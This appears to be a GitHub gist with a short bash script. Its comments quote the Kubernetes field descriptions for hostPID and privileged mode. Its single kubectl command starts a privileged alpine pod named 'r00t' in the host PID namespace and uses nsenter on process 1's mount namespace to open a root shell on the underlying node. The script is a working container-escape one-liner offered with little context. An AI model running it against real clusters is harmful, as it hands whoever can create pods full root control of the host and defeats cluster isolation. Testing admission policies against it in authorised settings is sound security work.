Skip to content

Instantly share code, notes, and snippets.

@mohclips
Created February 28, 2022 21:30
Show Gist options
  • Save mohclips/dc0b82fd6911af0fd36cea612f1f081c to your computer and use it in GitHub Desktop.
Save mohclips/dc0b82fd6911af0fd36cea612f1f081c to your computer and use it in GitHub Desktop.
#!/bin/bash
#FIELD: hostPID <boolean>
#DESCRIPTION:
# Use the host's pid namespace. Optional: Default to false.
#FIELD: privileged <boolean>
#DESCRIPTION:
# Run container in privileged mode. Processes in privileged containers are
# essentially equivalent to root on the host. Defaults to false.
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment